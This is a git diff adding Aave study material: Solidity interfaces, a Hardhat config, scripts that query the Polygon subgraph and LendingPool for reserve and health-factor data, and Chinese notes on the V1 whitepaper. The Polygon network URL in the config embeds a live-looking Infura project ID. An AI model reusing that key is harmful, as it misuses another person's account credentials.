+  function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress)
+    external;
+
+  function setConfiguration(address reserve, uint256 configuration) external;
+
+  /**
+   * @dev Returns the configuration of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The configuration of the reserve
+   **/
+  function getConfiguration(address asset)
+    external
+    view
+    returns (DataTypes.ReserveConfigurationMap memory);
+
+  /**
+   * @dev Returns the configuration of the user across all the reserves
+   * @param user The user address
+   * @return The configuration of the user
+   **/
+  function getUserConfiguration(address user)
+    external
+    view
+    returns (DataTypes.UserConfigurationMap memory);
+
+  /**
+   * @dev Returns the normalized income normalized income of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The reserve's normalized income
+   */
+  function getReserveNormalizedIncome(address asset) external view returns (uint256);
+
+  /**
+   * @dev Returns the normalized variable debt per unit of asset
+   * @param asset The address of the underlying asset of the reserve
+   * @return The reserve normalized variable debt
+   */
+  function getReserveNormalizedVariableDebt(address asset) external view returns (uint256);
+
+  /**
+   * @dev Returns the state and configuration of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The state of the reserve
+   **/
+  function getReserveData(address asset) external view returns (DataTypes.ReserveData memory);
+
+  function finalizeTransfer(
+    address asset,
+    address from,
+    address to,
+    uint256 amount,
+    uint256 balanceFromAfter,
+    uint256 balanceToBefore
+  ) external;
+
+  function getReservesList() external view returns (address[] memory);
+
+  function getAddressesProvider() external view returns (ILendingPoolAddressesProvider);
+
+  function setPause(bool val) external;
+
+  function paused() external view returns (bool);
+}
\ No newline at end of file
diff --git a/defi/Aave/graph/contracts/ILendingPoolAddressesProvider.sol b/defi/Aave/graph/contracts/ILendingPoolAddressesProvider.sol
new file mode 100644
index 000000000..a8544a208
--- /dev/null
+++ b/defi/Aave/graph/contracts/ILendingPoolAddressesProvider.sol
@@ -0,0 +1,60 @@
+// SPDX-License-Identifier: agpl-3.0
+pragma solidity 0.6.12;
+
+/**
+ * @title LendingPoolAddressesProvider contract
+ * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles
+ * - Acting also as factory of proxies and admin of those, so with right to change its implementations
+ * - Owned by the Aave Governance
+ * @author Aave
+ **/
+interface ILendingPoolAddressesProvider {
+  event MarketIdSet(string newMarketId);
+  event LendingPoolUpdated(address indexed newAddress);
+  event ConfigurationAdminUpdated(address indexed newAddress);
+  event EmergencyAdminUpdated(address indexed newAddress);
+  event LendingPoolConfiguratorUpdated(address indexed newAddress);
+  event LendingPoolCollateralManagerUpdated(address indexed newAddress);
+  event PriceOracleUpdated(address indexed newAddress);
+  event LendingRateOracleUpdated(address indexed newAddress);
+  event ProxyCreated(bytes32 id, address indexed newAddress);
+  event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy);
+
+  function getMarketId() external view returns (string memory);
+
+  function setMarketId(string calldata marketId) external;
+
+  function setAddress(bytes32 id, address newAddress) external;
+
+  function setAddressAsProxy(bytes32 id, address impl) external;
+
+  function getAddress(bytes32 id) external view returns (address);
+
+  function getLendingPool() external view returns (address);
+
+  function setLendingPoolImpl(address pool) external;
+
+  function getLendingPoolConfigurator() external view returns (address);
+
+  function setLendingPoolConfiguratorImpl(address configurator) external;
+
+  function getLendingPoolCollateralManager() external view returns (address);
+
+  function setLendingPoolCollateralManager(address manager) external;
+
+  function getPoolAdmin() external view returns (address);
+
+  function setPoolAdmin(address admin) external;
+
+  function getEmergencyAdmin() external view returns (address);
+
+  function setEmergencyAdmin(address admin) external;
+
+  function getPriceOracle() external view returns (address);
+
+  function setPriceOracle(address priceOracle) external;
+
+  function getLendingRateOracle() external view returns (address);
+
+  function setLendingRateOracle(address lendingRateOracle) external;
+}
\ No newline at end of file
diff --git a/defi/Aave/graph/hardhat.config.ts b/defi/Aave/graph/hardhat.config.ts
new file mode 100644
index 000000000..6b8fa82d9
--- /dev/null
+++ b/defi/Aave/graph/hardhat.config.ts
@@ -0,0 +1,73 @@
+import { task } from "hardhat/config";
+import '@typechain/hardhat'
+import '@nomiclabs/hardhat-ethers'
+import "@nomiclabs/hardhat-waffle";
+import { HardhatUserConfig } from "hardhat/config";
+
+
+const fs = require("fs");
+require('dotenv').config()
+
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (args,hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+ return process.env.PRIVATE_KEY;
+
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+export default  {
+  solidity: "0.6.12",
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: "https://rinkeby.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+      mnemonic()
+      ],
+    },
+    kovan: {
+      url: "https://kovan.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: "https://ropsten.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    matic: {
+      url: "https://polygon-mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07",
+      accounts: [
+        mnemonic()
+      ]
+    }
+  }
+};
\ No newline at end of file
diff --git a/defi/Aave/graph/package.json b/defi/Aave/graph/package.json
new file mode 100644
index 000000000..2c1d67949
--- /dev/null
+++ b/defi/Aave/graph/package.json
@@ -0,0 +1,33 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@graphprotocol/graph-cli": "0.18.0",
+    "@graphprotocol/graph-ts": "0.18.0",
+    "@nomiclabs/hardhat-ethers": "^2.0.2",
+    "@nomiclabs/hardhat-waffle": "^2.0.1",
+    "@typechain/hardhat": "2.3.0",
+    "@types/chai": "^4.2.21",
+    "@types/mocha": "^9.0.0",
+    "@types/node": "^14.14.36",
+    "@apollo/client": "3.4.13",
+    "chai": "^4.3.4",
+    "ethereum-waffle": "^3.3.0",
+    "ethers": "^5.1.4",
+    "graphql": "^15.6.0",
+    "hardhat": "^2.2.1",
+    "sol-merger": "^3.1.0",
+    "ts-node": "^9.1.1",
+    "tsconfig": "^7.0.0",
+    "tsconfig-paths": "^3.10.1",
+    "typescript": "^4.2.3",
+    "@types/react": "17.0.24",
+    "@types/react-dom": "17.0.9",
+ 
+    "node-fetch": "3.2.10",
+  
+    "@typechain/ethers-v5": "7.1.2"
+  },
+  "dependencies": {
+    "dotenv": "^10.0.0"
+  }
+}
diff --git a/defi/Aave/graph/readme.md b/defi/Aave/graph/readme.md
new file mode 100644
index 000000000..5d6f00179
--- /dev/null
+++ b/defi/Aave/graph/readme.md
@@ -0,0 +1,206 @@
+## aave  subgraph
+
+
+**tips**
+- All address values (e.g. when used for id) must be in lower case format.
+- The ID of reserves is the address of the asset and the address of the market's LendingPoolAddressProvider
+- When using the raw endpoints, depending on the type of numeric value queried
+- Each results 'page' returns 100 entries by default. This can be increased to a maximum of 1000 
+- All data on our Graph endpoint is static. Therefore to get the latest balance of a user (which includes the interest earned up to that second), you would need to either calculate it yourself or make a balanceOf() call to the aToken contract.
+- When using the raw endpoints, depending on the type of numeric value queried, it will be returned either in wei units (i.e. 10^18), the decimals of the asset itself (i.e. 10^6 for USDC), or ray units (i.e. 10^27).
+### polygon aave subgraph
+
+**reserve**
+```
+{
+  reserves {
+    name
+   
+   baseLTVasCollateral
+    reserveFactor
+    utilizationRate
+  reserveLiquidationThreshold
+    liquidityRate 
+    variableBorrowRate
+    totalDeposits
+  
+    availableLiquidity
+    totalATokenSupply
+    totalCurrentVariableDebt
+  }
+}
+```
+
+result is blow ：
+```
+{
+  "data": {
+    "reserves": [
+      {
+        "availableLiquidity": "148499409352405686010730485",
+        "baseLTVasCollateral": "5000",
+        "liquidityRate": "2723725322887993370107575",
+        "name": "Wrapped Matic",
+        "reserveFactor": "2000",
+        "reserveLiquidationThreshold": "6500",
+        "totalATokenSupply": "174523901736562566724430221",
+        "totalCurrentVariableDebt": "26026721418501477800005470",
+        // 储备规模 = totalDeposits * price
+        "totalDeposits": "171465364402278182828144318",
+        "utilizationRate": "0.13393932",
+        "variableBorrowRate": "23013327817337086137883509"
+      },
+      {
+        "availableLiquidity": "870365227434",
+        "baseLTVasCollateral": "7000",
+        "liquidityRate": "73866868905717564132946",
+        "name": "(PoS) Wrapped BTC",
+        "reserveFactor": "2000",
+        "reserveLiquidationThreshold": "7500",
+        "totalATokenSupply": "895168097450",
+        "totalCurrentVariableDebt": "24807284062",
+        "totalDeposits": "887033351890",
+        "utilizationRate": "0.01879086",
+        "variableBorrowRate": "3371073075120547152544351"
+      },
+      {
+        "availableLiquidity": "164494501634635",
+        "baseLTVasCollateral": "8000",
+        "liquidityRate": "29160326901557196296303103",
+        "name": "USD Coin (PoS)",
+        "reserveFactor": "1000",
+        "reserveLiquidationThreshold": "8500",
+        "totalATokenSupply": "1105111600358348",
+        "totalCurrentVariableDebt": "940615291406719",
+        "totalDeposits": "1091603232776498",
+        "utilizationRate": "0.84930925",
+        "variableBorrowRate": "37947544627904123801526949"
+      },
+      {
+        "availableLiquidity": "270725570708570461419467",
+        "baseLTVasCollateral": "8000",
+        "liquidityRate": "1935899655658532451393346",
+        "name": "Wrapped Ether",
+        "reserveFactor": "1000",
+        "reserveLiquidationThreshold": "8250",
+        "totalATokenSupply": "310782290627589744730249",
+        "totalCurrentVariableDebt": "40056233794241691613949",
+        "totalDeposits": "309087754682165022712310",
+        "utilizationRate": "0.12411421",
+        "variableBorrowRate": "16270784076037333942892535"
+      },
+      {
+        "availableLiquidity": "189352219058735115509650306",
+        "baseLTVasCollateral": "7500",
+        "liquidityRate": "28159917877426171058417185",
+        "name": "(PoS) Dai Stablecoin",
+        "reserveFactor": "1000",
+        "reserveLiquidationThreshold": "8000",
+        "totalATokenSupply": "897958515833242343078127894",
+        "totalCurrentVariableDebt": "708608285629834524443486916",
+        "totalDeposits": "885132826725244362709010054",
+        "utilizationRate": "0.78607479",
+        "variableBorrowRate": "39553000923814007433510746"
+      },
+      {
+        "availableLiquidity": "16180317028423",
+        "baseLTVasCollateral": "0",
+        "liquidityRate": "32294322747531035912568352",
+        "name": "(PoS) Tether USD",
+        "reserveFactor": "1000",
+        "reserveLiquidationThreshold": "0",
+        "totalATokenSupply": "187386231211372",
+        "totalCurrentVariableDebt": "171226579215053",
+        "totalDeposits": "181335082278022",
+        "utilizationRate": "0.91077117",
+        "variableBorrowRate": "39934713849587631894406064"
+      },
+      {
+        "availableLiquidity": "185734398320734291623460",
+        "baseLTVasCollateral": "5000",
+        "liquidityRate": "0",
+        "name": "Aave (PoS)",
+        "reserveFactor": "0",
+        "reserveLiquidationThreshold": "6500",
+        "totalATokenSupply": "185734398320734291623460",
+        "totalCurrentVariableDebt": "0",
+        "totalDeposits": "185727392627832565258167",
+        "utilizationRate": "-0.00003772",
+        "variableBorrowRate": "0"
+      }
+    ]
+  }
+}
+ 
+
+
+```
+
+## calculate the health factor
+** userData** 
+```
+{ 
+  userReserves(where: {user: "xxxx"}) {
+    reserve {
+      id
+      symbol
+      pool {
+       lendingPool 
+      }
+      
+      baseLTVasCollateral
+      name
+      reserveFactor
+      reserveLiquidationThreshold
+      utilizationRate
+      
+    }
+    currentVariableDebt
+    currentTotalDebt
+    currentATokenBalance
+    liquidityRate
+    
+    user {
+      id
+      unclaimedRewards
+      lifetimeRewards
+     
+      
+    }
+    
+    liquidityRate
+    currentATokenBalance
+  }
+}
+```
+
+查询eth大户地址
+  ```
+     userReserves (where: { reserve: "0x7ceb23fd6bc0add59e62ac25578270cff1b9f6190xd05e3e715d945b59290df0ae8ef85c1bdb684744" , currentATokenBalance_gt :  "200000000000000000000" } , ){
+      # reserve {
+      #  id
+      #   symbol
+      # }
+    user {
+      id
+    }
+  ```
+
+
+## 操作文档
+
+```
+   npx hardhat compile --no-typechain (依赖问题，所以跳过)    
+   npx hardhat run scripts/deploy.ts --network matic  
+
+```
+
+
+## 参考链接
+- 合约：
+https://github.com/aave/protocol-v2/blob/750920303e33b66bc29862ea3b85206dda9ce786/contracts/protocol/libraries/logic/GenericLogic.sol
+- 清算：https://docs.aave.com/developers/guides/liquidations
+- graph文档： https://docs.aave.com/developers/getting-started/using-graphql
+- liquidate: https://medium.com/coinmonks/creating-a-liquidation-script-for-aave-defi-protocol-ef584ad87e8f  
+- thegraphapi: https://thegraph.com/docs/developer/querying-from-your-app
+- graphgithub :https://github.com/prisma-labs/graphql-request#install  
diff --git a/defi/Aave/graph/scripts/calculate.ts b/defi/Aave/graph/scripts/calculate.ts
new file mode 100644
index 000000000..bc3c1541f
--- /dev/null
+++ b/defi/Aave/graph/scripts/calculate.ts
@@ -0,0 +1,110 @@
+import { ethers, run } from 'hardhat';
+import { GraphQLClient, gql } from 'graphql-request'
+import { v1, v2,RewardsInformation } from '@aave/protocol-js';
+
+
+async function main() {
+  const endpoint = 'https://api.thegraph.com/subgraphs/name/aave/aave-v2-matic'
+
+  const graphQLClient = new GraphQLClient(endpoint,{ headers: {} })
+
+  //https://www.npmjs.com/package/graphql-request
+  const reserveQuery = gql`
+    {
+      reserves (where: {
+        usageAsCollateralEnabled: true
+      }) {
+        id
+        name
+        price {
+          id
+        }
+        liquidityRate
+        variableBorrowRate
+        stableBorrowRate
+      }
+    }
+  `
+
+  const poolReservesData = await graphQLClient.request(reserveQuery);
+
+  console.log("reserveData: ", poolReservesData);
+
+
+  let userAddress = "xxx	";
+
+  const userQuery = gql`
+  {
+    userReserves(where: {user: "xxx"}) {
+      reserve {
+        id
+        symbol
+        pool {
+         lendingPool 
+        }
+        
+        baseLTVasCollateral
+        name
+        reserveFactor
+        reserveLiquidationThreshold
+        utilizationRate
+      }
+      currentVariableDebt
+      currentTotalDebt
+      currentATokenBalance
+      liquidityRate
+      
+      user {
+        id
+        unclaimedRewards
+        lifetimeRewards 
+      }
+      
+      liquidityRate
+      currentATokenBalance
+   }
+  }
+  `
+
+
+const rawUserReserves = await graphQLClient.request(userQuery)
+
+console.log("userData: ", rawUserReserves);
+
+
+
+
+
+
+// ethprice
+const priceQuery = gql`
+  {
+
+  priceOracle(id: "1") {
+    usdPriceEth
+         }
+      
+  }
+`
+const price = await graphQLClient.request(priceQuery);
+
+console.log(" price: ", price )
+
+//todo 
+const rewardsInfo = {} as any;
+
+let userSummary = v2.formatUserSummaryData(poolReservesData, rawUserReserves, userAddress.toLowerCase(),price,  Math.floor(Date.now() / 1000), rewardsInfo);
+
+console.log(userSummary)
+
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
+
+
+
diff --git a/defi/Aave/graph/scripts/deploy.ts b/defi/Aave/graph/scripts/deploy.ts
new file mode 100644
index 000000000..ace87dd98
--- /dev/null
+++ b/defi/Aave/graph/scripts/deploy.ts
@@ -0,0 +1,111 @@
+import { ethers, run } from 'hardhat';
+import { GraphQLClient, gql } from 'graphql-request'
+import { v1, v2 } from '@aave/protocol-js';
+
+
+async function main() {
+
+  let maticConfig = {
+    lendingPoolAddressesProvider: "0xd05e3E715d945B59290df0ae8eF85c1BdB684744",
+   
+  }
+
+  const accounts = await ethers.getSigners();
+
+  console.log(
+    'Deploying contracts with the account:',
+    accounts.map((a) => a.address)
+  );
+
+;
+
+const lendingPool = await ethers.getContractAt("ILendingPool", "0x8dff5e27ea6b7ac08ebfdf9eb090f32ee9a30fcf");
+  
+  let useraccount =  await lendingPool.getUserAccountData("xxxx");
+
+
+  console.log("userdata: ", useraccount); 
+  console.log("healthFactor: ", useraccount.healthFactor.toString()); 
+
+
+  const endpoint = 'https://api.thegraph.com/subgraphs/name/aave/aave-v2-matic'
+
+  const graphQLClient = new GraphQLClient(endpoint,{ headers: {} })
+
+  //https://www.npmjs.com/package/graphql-request
+  const reserveQuery = gql`
+  {
+    reserves {
+      name
+     
+     baseLTVasCollateral
+      reserveFactor
+      utilizationRate
+    reserveLiquidationThreshold
+      liquidityRate 
+      variableBorrowRate
+      totalDeposits
+    
+      availableLiquidity
+      totalATokenSupply
+      totalCurrentVariableDebt
+    }
+  }
+  `
+
+  const reserveData = await graphQLClient.request(reserveQuery);
+
+  console.log("reserveData: ", reserveData);
+  const userQuery = gql`
+  {
+    userReserves(where: {user: "xxxxxx"}) {
+      reserve {
+        id
+        symbol
+        pool {
+         lendingPool 
+        }
+        
+        baseLTVasCollateral
+        name
+        reserveFactor
+        reserveLiquidationThreshold
+        utilizationRate
+      }
+      currentVariableDebt
+      currentTotalDebt
+      currentATokenBalance
+      liquidityRate
+      
+      user {
+        id
+        unclaimedRewards
+        lifetimeRewards 
+      }
+      
+      liquidityRate
+      currentATokenBalance
+   }
+  }
+  `
+
+
+const userData = await graphQLClient.request(userQuery)
+
+console.log("userData: ", userData);
+
+
+// sdk 
+
+let userAddress = "xxxx";
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
+
+
+
diff --git a/defi/Aave/graph/scripts/lendingpool.ts b/defi/Aave/graph/scripts/lendingpool.ts
new file mode 100644
index 000000000..9a62bd711
--- /dev/null
+++ b/defi/Aave/graph/scripts/lendingpool.ts
@@ -0,0 +1,56 @@
+import { ethers, run } from 'hardhat';
+import { GraphQLClient, gql } from 'graphql-request'
+import { v1, v2 } from '@aave/protocol-js';
+
+
+async function main() {
+
+  let maticConfig = {
+    lendingPoolAddressesProvider: "0xd05e3E715d945B59290df0ae8eF85c1BdB684744",
+   
+  }
+
+  const accounts = await ethers.getSigners();
+
+  console.log(
+    'Deploying contracts with the account:',
+    accounts.map((a) => a.address)
+  );
+
+;
+
+let userAddress = "XXXX";
+
+const lendingPool = await ethers.getContractAt("ILendingPool", "0x8dff5e27ea6b7ac08ebfdf9eb090f32ee9a30fcf");
+  
+// user data
+let useraccount =  await lendingPool.getUserAccountData(userAddress);
+
+
+console.log("userdata: ", useraccount); 
+console.log("healthFactor: ", useraccount.healthFactor.toString()); 
+
+//returns the configuration of the user across all the reserves.
+let userConfiguration =  await lendingPool.getUserConfiguration(userAddress);
+console.log("userConfiguration: ", userConfiguration);
+
+// returns the list of initialized reserves.
+let reservesList  = await lendingPool.getReservesList();
+console.log(reservesList);
+
+// returns the state and configuration of the reserve
+let asset = reservesList[0];
+let reserveData =  await lendingPool.getReserveData(asset);
+console.log("reserveData: ", reserveData);
+
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
+
+
+
diff --git a/defi/Aave/graph/test/greeter-test.ts b/defi/Aave/graph/test/greeter-test.ts
new file mode 100644
index 000000000..183c6a1a5
--- /dev/null
+++ b/defi/Aave/graph/test/greeter-test.ts
@@ -0,0 +1,16 @@
+
+import { ethers } from "hardhat";
+import { Signer } from "ethers";
+
+describe("Greeter", function() {
+  it("Should return the new greeting once it's changed", async function() {
+    const Greeter = await ethers.getContractFactory("Greeter");
+    const greeter = await Greeter.deploy("Hello, world!");
+    
+    await greeter.deployed();
+    expect(await greeter.greet()).to.equal("Hello, world!");
+
+    await greeter.setGreeting("Hola, mundo!");
+    expect(await greeter.greet()).to.equal("Hola, mundo!");
+  });
+});
diff --git a/defi/Aave/graph/tsconfig.json b/defi/Aave/graph/tsconfig.json
new file mode 100644
index 000000000..299cc4c3b
--- /dev/null
+++ b/defi/Aave/graph/tsconfig.json
@@ -0,0 +1,13 @@
+{
+    "compilerOptions": {
+      "target": "es2018",
+      "module": "commonjs",
+      "strict": true,
+      "esModuleInterop": true,
+      "resolveJsonModule": true,
+      "outDir": "dist"
+    },
+    "include": ["./scripts", "./test"],
+    "files": ["./hardhat.config.ts"]
+  }
+  
\ No newline at end of file
diff --git a/defi/Aave/image/1.jpeg b/defi/Aave/image/1.jpeg
new file mode 100644
index 000000000..367d7b192
Binary files /dev/null and b/defi/Aave/image/1.jpeg differ
diff --git a/defi/Aave/image/architecture.png b/defi/Aave/image/architecture.png
new file mode 100644
index 000000000..884668a74
Binary files /dev/null and b/defi/Aave/image/architecture.png differ
diff --git a/defi/Aave/image/capital-utilisation-rate.png b/defi/Aave/image/capital-utilisation-rate.png
new file mode 100644
index 000000000..9a4f2dfa8
Binary files /dev/null and b/defi/Aave/image/capital-utilisation-rate.png differ
diff --git a/defi/Aave/image/figure1.jpg b/defi/Aave/image/figure1.jpg
new file mode 100644
index 000000000..6053c68ce
Binary files /dev/null and b/defi/Aave/image/figure1.jpg differ
diff --git a/defi/Aave/image/figure2.jpg b/defi/Aave/image/figure2.jpg
new file mode 100644
index 000000000..89c642efa
Binary files /dev/null and b/defi/Aave/image/figure2.jpg differ
diff --git a/defi/Aave/image/figure3.jpg b/defi/Aave/image/figure3.jpg
new file mode 100644
index 000000000..0ab89ac0a
Binary files /dev/null and b/defi/Aave/image/figure3.jpg differ
diff --git a/defi/Aave/image/figure4.jpg b/defi/Aave/image/figure4.jpg
new file mode 100644
index 000000000..d6aa9aa33
Binary files /dev/null and b/defi/Aave/image/figure4.jpg differ
diff --git a/defi/Aave/image/figure5.jpg b/defi/Aave/image/figure5.jpg
new file mode 100644
index 000000000..e0f4877f6
Binary files /dev/null and b/defi/Aave/image/figure5.jpg differ
diff --git a/defi/Aave/image/image-20210916140901104.png b/defi/Aave/image/image-20210916140901104.png
new file mode 100644
index 000000000..8f9a7958d
Binary files /dev/null and b/defi/Aave/image/image-20210916140901104.png differ
diff --git a/defi/Aave/image/image-20210916142714339.png b/defi/Aave/image/image-20210916142714339.png
new file mode 100644
index 000000000..cef0a6703
Binary files /dev/null and b/defi/Aave/image/image-20210916142714339.png differ
diff --git a/defi/Aave/image/image-20210916154515496.png b/defi/Aave/image/image-20210916154515496.png
new file mode 100644
index 000000000..f3a22c8e7
Binary files /dev/null and b/defi/Aave/image/image-20210916154515496.png differ
diff --git a/defi/Aave/image/risk.png b/defi/Aave/image/risk.png
new file mode 100644
index 000000000..c6fed9903
Binary files /dev/null and b/defi/Aave/image/risk.png differ
diff --git a/defi/Aave/readme.md b/defi/Aave/readme.md
new file mode 100644
index 000000000..213b8e4ca
--- /dev/null
+++ b/defi/Aave/readme.md
@@ -0,0 +1,35 @@
+# AAVE
+
+## whitepaper guide
+
+- [Aave V1 中文白皮书](./whitepaper/AAVE%20whitepaper%20V1.md)
+- [Aave V2 中文白皮书](https://learnblockchain.cn/article/3099)
+
+## contracts guide
+
+### contract constructure
+
+- Main contracts 主要合约
+
+  - LendingPool
+  - LendingPoolAddressesProvider
+  - LendingPoolAddressesProviderRegistry
+  - Stable and Variable Debt Tokens
+  - Supporting contracts
+  - LendingPoolCollateralManager
+  - LendingPoolConfigurator
+  - ReserveInterestRateStrategy
+  - Price Oracle Provider
+  - Library contracts
+  - DeployHelper
+  - WETHGateway
+  - Treasury
+
+- Deploy flow 部署流程简述，合约部署流程简述。了解部署流程，以便更好理解 AAVE 项目的结构。
+
+详细内容请戳这里 :point_right: [contract guide](./contract/readme.md)
+
+## 参考链接
+
+- 清算： https://unblock256.substack.com/p/unblock-23secret-networkdefi-?token=eyJ1c2VyX2lkIjo0ODg0MjM4NywicG9zdF9pZCI6NDI2Nzg1NjYsIl8iOiJGV3JUZyIsImlhdCI6MTYzNDM5ODMwNiwiZXhwIjoxNjM0NDAxOTA2LCJpc3MiOiJwdWItMzI2Mzg4Iiwic3ViIjoicG9zdC1yZWFjdGlvbiJ9.t3DoZ_rLipiP7KJN0QHzKr_rWXBNdDTKHwhZOcRgLp0
+- 深度介绍： https://zhuanlan.zhihu.com/p/351383037
diff --git a/defi/Aave/sdk/readme.md b/defi/Aave/sdk/readme.md
new file mode 100644
index 000000000..eeece51f7
--- /dev/null
+++ b/defi/Aave/sdk/readme.md
@@ -0,0 +1,6 @@
+## SDK
+
+
+## 参考链接
+- aavejs : https://github.com/aave/aave-js#transaction-methods
+- aave ui: https://github.com/aave/aave-ui
\ No newline at end of file
diff --git a/defi/Aave/whitepaper/AAVE whitepaper V1.md b/defi/Aave/whitepaper/AAVE whitepaper V1.md
new file mode 100644
index 000000000..54b9fdd45
--- /dev/null
+++ b/defi/Aave/whitepaper/AAVE whitepaper V1.md	
@@ -0,0 +1,199 @@
+# AAVE whitepaper V1
+
+受迫于周六的分享:laughing: ，故需要先把AAVE 的V1版的白皮书整理出来。先不要求一下子就完全理解AAVE中的设计取舍，按照白皮书的目录，逐项阅读，逐项理解，把自己的一点浅薄的理解写出来，也好过最后看完了，理解完了，跟人一说就这里不确定，那里不明白。:fish:
+
+
+## 介绍
+
+![image-20210916140901104](../image/image-20210916140901104.png)
+
+AAVE是一个著名的借贷协议，其源自之前的ETHlend项目，将P2P的借贷模式改为P2Protocol模式。跟Compound的借贷机制有点类似。笔者之前研习过compound的借贷机制，这里会对比下compound和AAVE在借贷机制的相同之处和不同之处。
+
+### 基础概念
+
+AAVE中的借贷池的核心是金库的概念，即每一个资金池都持有数总不同Token的余额，这些所有Token以ETH计价则得到该资金池的总流动性。每一个金库接受流动性提供者的存款，同时为借款人提供要借出的Token。借款人需要先在金库中有一定的存款，然后以这笔存款作为抵押，获得另一种或者同种Token作为借款。
+
+#### LTV: `loanToValue`:
+
+每一个金库都有一个特定的LTV，即总贷款与总价值的比率，是由该金库中每一个Token的LTV经过加权平均得到。
+
+>这里与compound比较的话，Compound也会有一个借贷池，即cToken。用户向某一个cToken池子中提供Token获得相应的cToken. 当用户需要借贷的时候，compound会计算出用户所持有的所有不同种类的cToken的价值，根据此时预言机拿到的Token的价格来计算，然后判断此时用户的流动性如何，是否允许借贷。而从AAVE的白皮书来看，它的一个reserve里包含多种Token，即一个借贷池由多种Token组成。用户提供某一种Token到这个reserve里? 不确定是否理解正确
+
+#### 清算
+
+>compound中的清算机制是用来保护cToken资金池出现系统性风险，及时将用户资不抵债的部分清算掉，并给清算者提供奖励。
+
+![image-20210916142714339](../image/image-20210916142714339.png)
+
+清算通常来自于被抵押Token的价格波动，通常是向下波动，导致用户的抵押品价值低于债务的价值，如图E点。此时超过的部分就会被清算。
+
+#### 清算阈值Lq
+
+这里的清算阈值Lq需要进一步看代码明确含义。
+
+#### 账户健康度
+
+AAVE提出了一个账户健康度的概念，其实就是一个账户的总抵押品价值与清算阈值的乘积与总债务与债务产生的费用之和的比例，即：
+
+$$
+H_f=\frac{TotalCollateralETH\times L_Q^a}{TotalBorrowsETH+TotalFeesETH}
+$$
+
+健康度简单来讲是一个账户的总抵押品的可借款价值总和与总债务连同利息总和的比例。如果账户健康度小于1，说明资不抵债，需要被清算。
+
+>可以看到，AAVE是以ETH作为计价单位，而compound则是以USD作为计价单位。
+
+### 形式化定义
+
+形式化定义很多，这里挑选几个比较由意思的写一下：
+
+$$
+T,当前时间戳 = block.timestamp
+$$
+
+>compound里面是以block.blocknumber作为时间计量单位，AAVE则是以block的时间戳作为计量单位，uniswap V2也是以block的时间戳作为预言机计算时间平均价格的计量单位 :)
+
+$$
+Bs,固定利率借贷总额
+$$
+
+$$
+Bv,浮动利率借贷总额
+$$
+
+$$
+Bt,总借贷=Bs,固定利率借贷总额+Bv,浮动利率借贷总额
+$$
+
+>AAVE中的固定利率借贷总额Bs这个概念在Compound中没有，compound中的所有借贷利率都是浮动的，按照每一个块的资金利用率来确定此时的借贷利率。
+
+$$
+\begin{equation}
+U,资金利用率=\left\{
+\begin{aligned}
+0 & , & if\ L_t=0, \\
+B_t/L_t & , & if\ L_t >0.
+\end{aligned}
+\right.
+\end{equation}
+$$
+
+>这里可以看到，AAVE中的资金利用率的定义是总借贷总额除以资金池的总流动性，而compound的资金利用率是
+>
+>$$
+>资金利用率：U_a = \frac {Borrows_a} { (Cash_a + Borrows_a - Reserves_a) }
+>$$
+>
+>总的借贷总额与资金池中的所有现金与借贷总额之和再减去保证金的差值的比率
+>
+>这里就需要明白AAVE的Lt到底是一个什么值，什么叫做总流动性？
+
+$$
+R_{v0},基础浮动利率
+$$
+
+$$
+R_{slope1},拐点前浮动利率
+$$
+
+$$
+R_{slope2},拐点后浮动利率
+$$
+
+$$
+R_v，浮动利率=\left\{
+\begin{aligned}
+R_{v0}+U/U_{optimal}\times R_{slope1} & , & if\ U<U_{optimal}, \\
+R_{v0}+R_{slope1}+\frac{U-U_{optimal}}{1-U_{optimal}}\times R_{slope2} & , & if\ L_t >0.
+\end{aligned}
+\right.
+$$
+
+>AAVE中的浮动利率其实质跟compound中的拐点型借贷利率模型是一样的，即当利用率超过某个特定的值之后，其利率会陡然提升，急剧增加用户的借贷成本，提高用户的存钱利率，鼓励用户存款，抑制借款而达到降低资金池资金利用率的目的，进而达到降低资金池流动性枯竭的风险
+
+$$
+C_i^t,累计流动性指数=C_i^{t-1}\times (1+R_l\times \Delta T_{year})
+$$
+
+$$
+C_i^0=1\times10^{27}=1\ ray
+$$
+
+>这里的定义很像Compound中利率指数的定义，也就是compound计算复利的关键公式：
+>
+>$$
+>\frac{Index_B}{Index_A}=(1+borrowRate[A]\cdot \Delta Blocks)
+>$$
+>
+>compound中的利率指数：当前块B的利率指数IndexB与之前记录块A的利率指数IndexA的比例为1+记录块A点的借贷利率与之间间隔块的数目乘积。
+>
